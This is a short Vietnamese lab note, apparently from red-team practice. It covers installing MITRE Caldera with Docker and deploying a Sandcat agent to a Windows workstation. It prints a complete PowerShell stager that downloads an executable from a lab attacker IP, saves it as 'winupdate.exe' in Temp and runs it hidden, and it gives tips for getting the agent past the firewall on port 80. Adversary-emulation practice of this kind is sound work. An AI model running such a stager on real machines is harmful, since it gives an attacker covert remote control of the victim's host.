Cài Caldera sử dụng docker
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
docker build --build-arg VARIANT=full -t caldera .
docker run -it -p 8888:8888 caldera
cách tối ưu hơn chút
sudo docker run -d \
--name caldera-server \
-p 8888:8888 \
-p 80:8888 \
-p 8443:8443 \
-p 7010:7010 \
caldera --insecure
Giải thích thêm về Port:
8888:8888: Bạn sẽ truy cập giao diện Caldera qua cổng 8889 (vì 8888 đã bị Mythic Jupyter chiếm).- 8443:8443: cổng UI
- còn các cổng 80:8888 là để nhận thông tin reverse sheell từ ws01
Để xem mật khẩu ta dùng: thường là admin: admin
grep -A 10 "users:" conf/default.yml

Tạo payload
Để vượt qua pfSense chỉ mở port 80/443, chúng ta làm như sau:
- Trên giao diện Caldera, menu bên trái, chọn Campaigns -> Manage Agents.
- Click deploy an agent.
- Chọn Sandcat (Agent viết bằng Go, rất ổn định).
- Platform: Chọn Windows.
- app.contact.http: Sửa thành
http://<IP_Máy_Kali_của_bạn>:80(Bước này quyết định việc vượt tường lửa). - Caldera sẽ sinh ra một lệnh PowerShell (thường bắt đầu bằng
$server="http://...";$url="$server/file/download"...).

- Copy toàn bộ lệnh này. Sang máy WS1, mở PowerShell (quyền User hoặc Admin đều được) và dán lệnh vào chạy.
- Quay lại Caldera, bạn sẽ thấy một Agent mới xuất hiện màu xanh lá cây. Khung cảnh tấn công đã sẵn sàng!
$server="http://192.168.253.128:80";
$url="$server/file/download";
$exePath="$env:USERPROFILE\AppData\Local\Temp\winupdate.exe";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$data=$wc.DownloadData($url);
get-process | ? {$_.modules.filename -eq $exePath} | stop-process -f -ea ignore;
rm -force $exePath -ea ignore;
[io.file]::WriteAllBytes($exePath,$data) | Out-Null;
Start-Process -FilePath $exePath -ArgumentList "-server $server -group red" -WindowStyle hidden;
Ta chạy nội dung file này trên ws01